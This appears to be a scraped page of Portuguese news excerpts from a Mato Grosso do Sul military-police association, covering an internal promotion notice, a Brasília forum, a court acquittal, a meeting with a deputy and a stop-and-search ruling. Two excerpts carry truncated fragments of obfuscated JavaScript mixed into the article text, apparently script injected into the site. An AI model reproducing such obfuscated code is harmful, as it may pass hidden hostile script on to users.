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O Diário Oficial desta segunda-feira (16) trouxe, a partir da página 211, o edital de abertura da Seleção Interna para o ingresso de Praças para os Quadros Suplementares de Efetivos da Polícia Militar de Mato Grosso do Sul. São 635 vagas para praças que estejam agregados na condição de designados. As inscrições podem ser feitas até o dia 20 de maio, no site da Polícia Militar de Mato Grosso do Sul (www.pm.ms.gov.br). CLIQUE AQUI E CONFIRA O EDITAL E OS REQUISITOS Confira a distribuição das vagas: Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), sargento Fabrício de Carvalho Moura, participa, no dia 17 de maio, do Fórum Nacional sobre a Lei Orgânica das Polícias Militares. A discussão acontece a partir das 13h, no Auditório Nereu Ramos, na Câmara dos Deputados, em Brasília (DF). Para o evento, a Anermb (Associação Nacional das Entidades Representativas dos Militares Brasileiros) convocou todas as entidades filiadas. O Fórum é uma iniciativa do deputado federal Capitão Augusto, presidente da Frente Parlamentar da Segurança Pública. O texto do projeto de lei 4.363/2001, que tramita na Câmara desde 2001, estabelece as normas gerais de organização, efetivo, material bélico, convocação, inatividade e pensões das políc...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), sob atuação do advogado criminalista Dr. Paulo Doreto, obteve a absolvição de quatro associados que haviam sido denunciados no artigo 324 (inobservância de lei, regulamento ou instrução), do Código Penal Militar. Conforme a denúncia, os policiais militares atuavam na Operação Hórus e, após abordarem um ônibus de linha interestadual, apreenderam diversas mercadorias provenientes do Paraguai, avaliados em mais de R$ 373 mil. Eles, segue a acusação, deixaram de encaminhar e apresentar os autores do crime de contrabando e/ou descaminho à autoridade policial competente, no caso, a Polícia Federal, procedendo somente com a apreensão dos produtos do crime. No curso do ...

Nesta quinta-feira (05), o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), sargento Fabrício de Carvalho Moura, se reuniu com o deputado estadual Coronel David para tratar de diversos assuntos de interesse da tropa. Entre os tópicos, discutiram sobre o projeto de promoções requeridas, que tem sido trabalhado pelo Comando-Geral com as entidade e que ainda não foi entregue na Assembleia Legislativa, e a possibilidade de implantação de um auxílio-alimentação para policiais militares e bombeiros militares, como já ocorre na Polícia Civil. O diretor de comunicação da entidade, subtenente Amauri Braga de Oliveira, também participou do encontro. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=fun...

Decisão recente da 6ª Turma do STJ (Superior Tribunal de Justiça) tem gerado questionamentos na tropa e pode refletir diretamente no trabalho operacional. Afinal, uma prisão em flagrante por tráfico de drogas, decorrente de uma abordagem por “mera suspeita”, pode ser considerada ilegal? O advogado criminalista Paulo Alberto Doreto, que integra a assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), explica que os ministros consideraram que, para a realização de busca pessoal, é necessário que a fundada suspeita seja justificada por indícios objetivos de que o indivíduo esteja na posse de drogas, armas ou outros objetos ilícitos. Porém, a decisão não possui caráter vinculante. “A decisão do STJ, de forma alguma, tem vi...